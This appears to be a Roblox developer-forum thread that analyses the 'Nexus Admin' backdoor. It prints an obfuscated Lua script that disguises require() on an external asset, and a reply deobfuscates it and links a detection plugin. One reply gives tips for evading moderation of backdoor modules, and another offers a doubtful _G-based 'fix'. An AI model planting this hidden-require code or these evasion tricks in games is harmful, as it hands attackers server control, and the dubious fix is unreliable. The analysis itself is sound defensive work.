How does backdoors work (Nexus Admin Exploit works in detail)

How does Backdoors work? (I will focus on nexus admin later)

They are scripts that encrypt code from the client to the server, encrypting it so that Roblox does not detect a load string and can execute the code they want, becoming “owners” of the server. They normally use require, getfenv and loadstring, although Nexus admin uses something smarter

How can they infect your game?

Normally it is through the toolbox with scripts hidden in the models, although nexus admin uses real people who say in my case “hello, I would like to contribute to your game, I have worked on (…)” if you accept this, it is VERY important that you follow these steps

1.Check that it is trustworthy and that it is not lying to you, do a little research (This did not work with nexus admin)

2.If it asks you for access to the main game it is a network flag if the job is easy otherwise it is considerable

3.Look at the groups that user is in, normally 80% of hackers will be in shady or hacker groups

Nexus admin I am going to focus on this group since I have been investigating since I have been a victim of them

They will infect your game, giving you access to it, so to infect it I will give an example of their backdoor that they use:

local keepMaxDegreeRotation = false
local function ApplyRotation(angle, power)
if (not power) then
keepMaxDegreeRotation = angle
else
keepMaxDegreeRotation = true
end
end

local _anglesRaw = {“x”, “y”, “z”}
local _degree = “”
local module = {}
local _rotation =
setmetatable(
{},
{
__div = function(value, degrees) – auto Vector3 / Angle scaling
return _degree … degrees
end
}
)

local _cframe, _ = require, CFrame.new(0, 0, 0)
local currentRotation = Vector3.new(153, 94, 38)
local interval = Vector3.new(47, 1, 9) – rotation speed
local function RotateAll(e)
for i = 1, #_anglesRaw do
_degree = _rotation / e[_anglesRaw[i]]
end
return _degree
end

local rot1, rot2, rot3 = RotateAll(currentRotation), “a (.+)d”, RotateAll(interval)
local errormsg = “Error: Part is a required object. You must assign script parent to part before.” – error msg
– changed part position
local newAngle, oldRadius = tonumber(_degree), (function()
local err
if keepMaxDegreeRotation == 360 then
error(err)
else
err = errormsg:gsub(rot2, ApplyRotation)
–keepMaxDegreeRotation = keepMaxDegreeRotation - 120
return keepMaxDegreeRotation
end
end){}
local pAngle = _cframe;
local finalAngle = task.spawn(pAngle,newAngle) or {} or CFrame.new(360, 0, 0)

return {script:Clone()} or 1

It looks like a normal rotation script but they put it in places where they shouldn’t. In my case they put it in an aesthetic object, a shadow (a part with an image of a black fade to make a fake shadow) here I’m suspicious but don’t feel stupid because This script seems stupid but it’s not.

credits to wafflynutria747 in discord i am going to post what he discovered

If you look at the code carefully you will notice this:

local _cframe, _ = require, CFrame.new(0, 0, 0)

It looks like a normal variable that saves a cframe but we can see the require in it. Does it sound familiar to you? Indeed, what I talked about before, this require will install an encryptor that will execute code, it is a module script

this is all i found hope it helps

5 Likes

Really hope Roblox just does something about requiring modules or inserting models, since those are now being abused to host inappropriate content on popular games that are backdoored, or bad actors abusing command bar during live run.

But thanks for bringing awareness to this model, I did keep seeing it lately.

1 Like

ik this isn’t that related to your specific backdoor, but roblox should by default make a way to remove all scripts from models obtained from the toolbox, that would prevent so many of these.

Most of these backdoore also post to a webhook or a different endpoint to notify the attackers of a successful infection.

You can use fiddler in Studio to find the endpoint they post to, which is usually obfuscated in the code. (You will have to get around some studio restrictions to achieve this)

Can you please send the formatted code? I want to try reverse it and have a poke around

1 Like

See, always look into the code you are going to run. For things like require, getfenv, or loadstring to see what’s up, instead of just guessing if _cframe,_ is declaring a CFrame variable or not. Though it’s meant for unsuspecting people to run the code without paying much attention, I wouldn’t run anything without checking out the code first.

People get way too creative with these backdoors, I saw one embedded in ChatServiceRunner where TryRunModule was given an asset ID. Stay safe guys!

1 Like

It seems like it just converts both the Vectors and CFrames into a number but the non formatted snippet seems to break the operations.

1 Like

Roblox already does this. If they find a malicious module, or one that is obfuscated, it is deleted.


TL;DR

These scripts disguise a require to a malicious module. It gives a specific group of people access to a server-sided executor in your game. It tells those people they will get it in your game once a public server is made.

I’m aware, they “blacklist” known files however they only blacklist modules that are repeatedly uploaded, ones that are uploaded privately then set public aren’t taken down in a while unless manual report. But the blacklisting can easily be avoided if the module is heavily modified.

There was one dev in the group I developed for, he was always problematic and stuff, so they fired him. Then when he(or his friend) got hired, (I said to the owner that it’s 100% someone’s alt and it was), he put backdoors in games and condo models and then told everyone. I obviously reverted versions of games and updated them to normal.

As he had server access, he streamed more inappropriate content in game.
And after a couple of hours, my account got terminated (I was only one moderated).

So yeah, keep yourself safe yall and always have an eye out for suspicious devs and backdoors.

to get past this you can have a long multi line nested comment which at the end of it, you can put ur backdoor and it will get past, or you can spam large modules to reach up to 2mb max and they wont moderate it. nobody does getfenv().require anymore

Do you have experience with this or what :skull_and_crossbones:

Roblox has created a helpful solution to deal with the vulnerability of require() through these “poisoned” models. When a module is inserted through require(), it will print out information in the console with the ID of the model and where it was from!

no, i do not have experience with such stuff neither do i interfere with them

1 Like

theres a way to fix backdoors basically theres a setting in _G called RemoveRequireBackdoors and if you set that to false it stops all requires being loaded in and theres a table called _G.WhitelistedRequires which you can put require ids you want to whitelist in

Sorry for the bump. I recently made a plugin to address this problem and I took a better look at the code.

The majority of the code is dead code, but there are couple lines of interest.
The purpose of this code is to call require() on an external module.

local _degree = "" -- string storage used to build the ID for the require
local _rotation = -- this table will append strings to _degree every time it's divided
	setmetatable(
		{},
		{
			__div = function(value, degrees) -- auto Vector3 / Angle scaling
				return _degree.. degrees
			end
		}
	)

local _cframe, _ = require, CFrame.new(0, 0, 0) -- as losgamingOMG noted, _cframe is now assigned as an alias to require

local currentRotation = Vector3.new(153, 94, 38)
local interval = Vector3.new(47, 1, 9) -- rotation speed
local function RotateAll(e)
	for i = 1, #_anglesRaw do
		_degree = _rotation / e[_anglesRaw[i]] -- dividing here gets routed to the __div function, which concatenates _degree

	end
	return _degree -- this function concatenates each vector3 component to _degree
end

-- RotateAll is called on currentRotation AKA Vector3.new(153, 94, 38) and interval AKA Vector3.new(47, 1, 9)
local rot1, rot2, rot3 = RotateAll(currentRotation), "a (.+)d", RotateAll(interval)

-- at this point _degree has been concatinated to 15394384719 as a string
local newAngle, oldRadius = tonumber(_degree), (function()  -- oldRadius is dead code, newAngle converts _degree to a number (15394384719)
...

local pAngle = _cframe; -- here pAngle is now assigned to _cframe which is assigned to require, pAngle is now the require function
-- task.spawn(pAngle,newAngle) in actuality will execute require(15394384719)
local finalAngle = task.spawn(pAngle,newAngle) or {} or CFrame.new(360, 0, 0)

I like this line you showed, since this line is easily detectable with a good string pattern search. Also it’s unlikely to give false positives since no real developers would have reason to do this.

I went ahead and made a plugin to detect this line, plus some other backdoor methods:
BeeScan | 1.0.0 | Studio Script Scanner for Backdoor Detection

Thank you for sharing the details!